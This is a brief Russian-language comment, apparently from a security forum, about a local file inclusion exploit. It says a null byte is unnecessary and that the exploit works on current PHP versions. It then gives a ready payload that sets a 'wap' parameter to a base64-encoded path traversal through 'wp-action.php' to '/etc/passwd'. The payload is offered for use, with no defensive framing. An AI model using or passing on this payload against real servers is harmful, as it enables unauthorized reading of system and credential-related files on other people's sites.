Судя по приведённому коду в блоге, при LFI, нуллбайт не обязателен и эксп может использоваться на свежих пыхах:



wap=base64_encode('/../wp-action.php/../../../../../../../../../../../etc/passwd');